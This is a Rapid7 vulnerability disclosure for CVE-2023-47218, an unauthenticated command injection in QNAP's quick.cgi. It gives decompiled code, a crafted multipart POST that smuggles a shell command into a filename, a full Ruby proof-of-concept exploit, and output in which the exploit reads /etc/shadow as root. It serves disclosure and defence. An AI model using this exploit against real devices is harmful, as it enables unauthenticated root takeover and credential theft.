Rapid7 has identified an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and QuTS hero. QTS is a core part of the firmware for numerous QNAP entry- and mid-level Network Attached Storage (NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices. The vulnerable endpoint is the quick.cgi
component, exposed by the device’s web based administration feature. The quick.cgi
component is present in an uninitialized QNAP NAS device. This component is intended to be used during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully initialized, the quick.cgi
component is disabled on the system.
An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command injection, allowing the attacker to execute arbitrary commands on the device.
This vulnerability was discovered by Stephen Fewer, Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
CVE-2023-47218 has been addressed in multiple versions of QTS, QuTS hero and QuTScloud. QNAP prioritizes security, actively partnering with esteemed researchers like Rapid7 to promptly address and rectify vulnerabilities, ensuring the safety of our customers. For more information, please see: https://www.qnap.com/en/security-advisory/qsa-23-57
Dedicated to excellence, QNAP (Quality Network Appliance Provider) offers holistic solutions encompassing software development, hardware design, and in-house manufacturing. Beyond mere storage, QNAP envisions NAS as a robust platform, facilitating cloud-based networking for users to seamlessly host and advance artificial intelligence analysis, edge computing, and data integration on their QNAP solutions.
QNAP released a fix for this vulnerability on January 25, 2024. According to QNAP, the following versions remediate the issue:
QTS 5.1.5.2645 build 20240116
and laterQuTS hero h5.1.5.2647 build 20240118
and laterFor more details please read the QNAP security advisory.
QNAP have provided the following remediation guidelines:
To secure your QNAP NAS, we recommend regularly updating your system to the latest version to benefit from vulnerability fixes. You can check the product support status to see the latest updates available to your NAS model.
During our analysis we targeted the QTS based firmware, version 5.1.2.2533 for a QNAP TS-464 NAS device. We extracted the file system using the following steps:
user@dev:~/qnap/$ ls
TS-X64_20230926-5.1.2.2533.zip
# Unzip the firmware.
user@dev:~/qnap/$ unzip TS-X64_20230926-5.1.2.2533.zip
Archive: TS-X64_20230926-5.1.2.2533.zip
inflating: TS-X64_20230926-5.1.2.2533.img
user@dev:~/qnap/$ ls
TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.zip
# Decrypt the firmware using the tool qnap-qts-fw-cryptor.
user@dev:~/qnap/$ python3 qnap-qts-fw-cryptor.py d QNAPNASVERSION5 TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz
Signature check OK, model TS-X64, version 5.1.2
Encrypted 1048576 of all 220239236 bytes
[99% left]
[99% left]
[99% left]
...snip
[02% left]
[00% left]
[00% left]
user@dev:~/qnap/$ ls
qnap-qts-fw-cryptor.py TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz TS-X64_20230926-5.1.2.2533.zip
# Recreate the root file system.
user@dev:~/qnap/$ mkdir firmware
user@dev:~/qnap/$ tar -xvzf TS-X64_20230926-5.1.2.2533.tgz -C ./firmware/
user@dev:~/qnap/$ binwalk -e firmware/initrd.boot
user@dev:~/qnap/$ binwalk -e firmware/_initrd.boot.extracted/0
user@dev:~/qnap/$ binwalk -e firmware/rootfs2.bz
user@dev:~/qnap/$ binwalk -e firmware/_rootfs2.bz.extracted/0
user@dev:~/qnap/$ mv firmware/_rootfs2.bz.extracted/_0.extracted/* firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
When decompiling the /home/httpd/cgi-bin/quick/quick.cgi
binary, we can see a function switch_os
can be called if an HTTP parameter named func
has a value switch_os
.
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 Input; // rax
__int64 input; // rbp
_BOOL4 v5; // ebx
__int64 func_param; // rax
__int64 func_param_; // r12
bool v8; // zf
unsigned int v9; // ebp
__int64 todo_param; // rbx
sub_415C82(1LL, a2, a3);
dword_630794 = sub_415F8B();
dword_630790 = sub_415F41();
dword_63079C = sub_415F1E();
Input = CGI_Get_Input();
input = Input;
if ( Input )
{
func_param = CGI_Find_Parameter(Input, (char *)"func");
func_param_ = func_param;
if ( func_param )
{
v8 = strcmp(*(const char **)(func_param + 8), "main") == 0;
v5 = !v8;
if ( v8 )
{
v9 = rand();
puts("301 Moved Permanently");
printf("Location: /cgi-bin/quick/html/index.html?count=%d\n", v9);
return v5;
}
if ( !CGI_Find_Parameter(input, "todo") )
goto LABEL_6;
todo_param = CGI_Find_Parameter(input, "todo");
if ( !strcmp(*(const char **)(func_param_ + 8), "switch_os") )
{
if ( (unsigned int)switch_os(*(_QWORD *)(todo_param + 8), input) ) // <---
The switch_os
function will call a function uploaf_firmware_image
if an HTTP parameter named todo
has a value of uploaf_firmware_image
.
__int64 __fastcall switch_os(const char *todo_param, const char *input)
{
__int64 os_name_param; // rax
__int64 v3; // rbx
FILE *v4; // rax
FILE *v5; // rbp
const char *v6; // rax
char *v7; // rbp
__int64 v8; // rdx
__int64 result; // rax
__int64 v10; // rdx
char os_name[32]; // [rsp+0h] [rbp-38h] BYREF
memset(os_name, 0, sizeof(os_name));
os_name_param = CGI_Find_Parameter((__int64)input, "os_name");
if ( os_name_param )
strncpy(os_name, *(const char **)(os_name_param + 8), 31uLL);
if ( !strcmp(todo_param, "uploaf_firmware_image") )
{
v3 = uploaf_firmware_image(); // <---
In the function uploaf_firmware_image
, we can see a helper function CGI_Upload
is used to read a value from the CGI request into a local variable called file_name
below.
__int64 uploaf_firmware_image()
{
//...snip...
if ( (unsigned int)CGI_Upload((__int64)"/mnt/update", 0LL, (__int64)file_name) ) // <---
return json_pack(
"{si si ss}",
4341610LL,
200LL,
"error_code",
4LL,
"error_message",
"upload full_path_filename fail.");
sprintf(file, "%s/%s", "/mnt/update", file_name); // <---
if ( chmod(file, 436u) < 0 )
return json_pack(
"{si si ss}",
4341610LL,
200LL,
"error_code",
5LL,
"error_message",
"upload full_path_filename fail.");
if ( !fork() )
{
v2 = open("/dev/null", 2);
if ( v2 != -1 )
{
close(0);
dup2(v2, 0);
close(1);
dup2(v2, 1);
close(2);
dup2(v2, 2);
close(v2);
}
sprintf(buf266, "echo 0 > %s", "/tmp/update_process");
system(buf266);
sprintf(buf266, "/usr/share/updater/update_fw -f \"%s\"", file); // <---
if ( system(buf266) ) // <--- command injection.
{
Set_Private_Profile_Integer("Switch OS", "Step00 Status", 7LL, "/tmp/quick_tmp.conf");
}
We can see above that the value extracted by CGI_Upload
will be used to construct an OS command, which is then passed to a call to system
to execute the command. If an attacker can supply a double quote character in the file name string, a command injection vulnerability can be achieved.
To understand how an attacker can achieve this, we must examine CGI_Upload
from the \usr\lib\libuLinux_fcgi.so.0.0
binary. CGI_Upload
will call cgi_save_file_ex
to extract several fields from a POST request's multipart form data.
__int64 __fastcall cgi_save_file_ex(__int64 a1, char *a2, int a3)
{
// ...snip...
CGI_Get_Http_Info(&dest);
// ...snip...
strtok(v36, ";");
strtok(0LL, ";");
v18 = strtok(0LL, "\n");
if ( v18 )
snprintf(v36, 0x1000uLL, "%s", v18);
strtok(v36, "\"");
v19 = strtok(0LL, "\"");
if ( v19 )
strncpy(a2, v19, n);
if ( dest.useragent_type == 3 ) // <---
trans_http_str((__int64)a2, (__int64)a2, 1LL); // <---
The call to CGI_Get_Http_Info
at the beginning of the function will retrieve some metadata about the request. The form field values are extracted (we have omitted most of the logic here for brevity). When storing an extracted field value, a check is done against the requested metadata, and if the user agent was given an enum value of 3, a special call to trans_http_str
will occur. The function trans_http_str
will URL decode any value we pass it, e.g. %22
will be decoded to a double quote character. This will allow an attacker to escape the command string in the function uploaf_firmware_image
and achieve command injection.
To understand why the metadata’s user agent type may be set to 3, we can examine the function CGI_Get_Http_Info
, as shown below.
char *__fastcall CGI_Get_Http_Info(struct_dest *dest)
{
// ...snip…
v10 = (const char *)QFCGI_getenv("HTTP_USER_AGENT");
v11 = v10;
if ( !v10 )
{
LABEL_29:
dest->useragent_type = 0;
goto LABEL_16;
}
if ( strstr(v10, "Safari") )
{
dest->useragent_type = 7;
goto LABEL_16;
}
if ( !strstr(v11, "MSIE") )
{
if ( strstr(v11, "Mozilla") )
{
if ( strstr(v11, "Macintosh") )
dest->useragent_type = 3; // <---
else
dest->useragent_type = strstr(v11, "Linux") == 0LL ? 4 : 6;
goto LABEL_16;
}
goto LABEL_29;
}
We can see that if the HTTP request’s user agent contains both the string “Mozilla” and the string “Macintosh”, then the user agent type will be set to 3.
We can therefore exploit this vulnerability with an HTTP POST request that looks like this:
POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1
Host: 192.168.86.42:8080
User-Agent: Mozilla Macintosh
Accept: */*
Content-Length: 164
Content-Type: multipart/form-data;boundary="avssqwfz"
--avssqwfz
Content-Disposition: form-data; xxpcscma="field2"; zczqildp="%22$($(echo -n aWQ=|base64 -d)>a)%22"
Content-Type: text/plain
skfqduny
--avssqwfz–
Note the use of the URL encoded double quote %22
to perform the command injection, followed by the execution of a base64 encoded command (“id” in the example above). Finally, we can see the requested user agent is “Mozilla Macintosh” to enable the URL decoding of multipart form fields.
The following is a Ruby proof-of-concept exploit called qnap_hax.rb
that can be used to successfully exploit a vulnerable target.
require 'optparse'
require 'base64'
require 'socket'
def log(txt)
$stdout.puts txt
end
def rand_string(len)
(0...len).map {'a'.ord + rand(26)}.pack('C*')
end
def send_http_data(ip, port, data)
s = TCPSocket.open(ip, port)
s.write(data)
result = ''
while line = s.gets
result << line
end
s.close
return result
end
def hax_single_command(ip, port, cmd, read_output=true, output_file_name='a')
payload = "\"$($(echo -n #{Base64.strict_encode64(cmd)}|base64 -d)"
if read_output
payload << ">#{output_file_name}"
end
payload << ")\""
payload.gsub!("\"", '%22')
payload.gsub!(";", '%3B')
if payload.length > 127
log "[-] Error, the command is too long (#{payload.length}), must be < 128 bytes."
return false
end
boundary = rand_string(8)
txt = "--#{boundary}\r\n"
txt << "Content-Disposition: form-data; #{rand_string(8)}=\"field2\"; #{rand_string(8)}=\"#{payload}\"\r\n"
txt << "Content-Type: text/plain\r\n"
txt << "\r\n"
txt << "#{rand_string(8)}\r\n"
txt << "--#{boundary}--\r\n"
body = "POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1\r\n"
body << "Host: #{ip}:#{port}\r\n"
body << "User-Agent: Mozilla Macintosh\r\n"
body << "Accept: */*\r\n"
body << "Content-Length: #{txt.bytesize}\r\n"
body << "Content-Type: multipart/form-data;boundary=\"#{boundary}\"\r\n"
body << "\r\n"
body << txt
result = send_http_data(ip, port, body)
if result&.match? /HTTP\/1\.\d 200 OK/
log "[+] Success, executed command: #{cmd}"
else
log "[-] Failed to execute command: #{cmd}"
log result
return false
end
if read_output
result = send_http_data(ip, port, "GET /cgi-bin/quick/#{output_file_name} HTTP/1.1\r\nHost: #{ip}:#{port}\r\nAccept: */*\r\n\r\n")
if result&.match? /HTTP\/1\.\d 200 OK/
found_content = false
result.lines.each do |line|
if line == "\r\n"
found_content = true
next
end
log line if found_content
end
else
log "[-] Failed to read back output."
log result
return false
end
end
return true
end
def hax(options)
log "[+] Targeting: #{options[:ip]}:#{options[:port]}"
output_file_name = 'a'
return unless hax_single_command(options[:ip], options[:port], options[:cmd], true, output_file_name)
return unless hax_single_command(options[:ip], options[:port], "rm -f #{output_file_name}", false, output_file_name)
return unless hax_single_command(options[:ip], options[:port], 'rm -f /mnt/HDA_ROOT/update/*', false, output_file_name)
end
options = {}
OptionParser.new do |opts|
opts.banner = "Usage: hax1.rb [options]"
opts.on("-t", "--target TARGET", "Target IP") do |v|
options[:ip] = v
end
opts.on("-p", "--port PORT", "Target Port") do |v|
options[:port] = v.to_i
end
opts.on("-c", "--cmd COMMAND", "Command to execute") do |v|
options[:cmd] = v
end
end.parse!
unless options.key? :ip
log '[-] Error, you must pass a target IP: -t TARGET'
return
end
unless options.key? :port
log '[-] Error, you must pass a target port: -p PORT'
return
end
unless options.key? :cmd
log '[-] Error, you must pass a command to execute: -c COMMAND'
return
end
log "[+] Starting..."
hax(options)
log "[+] Finished."
To verify this vulnerability, after manually extracting the firmware, we used the QEMU emulator to run the built-in web server. As the vulnerable component quick.cgi
is present in an uninitialized system, we manually enabled the feature, allowing a remote attacker to access the vulnerable CGI script over HTTP.
We performed the following steps to run the builtin web server _httpd_
via QEMU, and enable the vulnerable quick.cgi
component.
user@dev:~/qnap/$ cd firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
# Copy the qemu-x86_64-static binary into the root file system folder.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ cp $(which qemu-x86_64-static) .
# Run _thttpd_ via QEMU.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . ./qemu-x86_64-static usr/local/sbin/_thttpd_ -p 8080 -nor -nos -u admin -d /home/httpd -c '**.*' -h 0.0.0.0 -i /var/lock/._thttpd_.pid
# Verify the HTTP server is running.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo netstat -lnp | grep 8080
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 1195417/./qemu-x86_
# Drop to a shell via QEMU...
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . /bin/sh
# Enable the component quick.cgi
sh-3.2# chmod +x /home/httpd/cgi-bin/quick/quick.cgi
# Fix a linker issue with QEMU.
sh-3.2# rm /lib/libnl-3.so.200
sh-3.2# ln -s /lib/libnl-3.so.200.24.0 /lib/libnl-3.so.200
# This folder will be present in a NAS device containing a hard drive.
sh-3.2# mkdir /mnt/HDA_ROOT
Finally, to verify the vulnerability, from a remote machine we ran the exploit script qnap_hax.rb
against the remote target, and successfully executed arbitrary OS commands.
>ruby qnap_hax.rb -t 192.168.86.42 -p 8080 -c id
[+] Starting...
[+] Targeting: 192.168.86.42:8080
[+] Success, executed command: id
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
[+] Success, executed command: rm -f a
[+] Success, executed command: rm -f /mnt/HDA_ROOT/update/*
[+] Finished.
>ruby qnap_hax.rb -t 192.168.86.42 -p 8080 -c "cat /etc/shadow"
[+] Starting...
[+] Targeting: 192.168.86.42:8080
[+] Success, executed command: cat /etc/shadow
admin:$1$$CoERg7ynjYLdj2j4glJ34.:14233:0:99999:7:::
guest:$1$$ysap7EeB9ODCtO46Psdbq/:14233:0:99999:7:::
[+] Success, executed command: rm -f a
[+] Success, executed command: rm -f /mnt/HDA_ROOT/update/*
[+] Finished.
An unauthenticated vulnerability check for CVE-2023-47218 will be available to InsightVM and Nexpose customers as of the February 13, 2024 content release.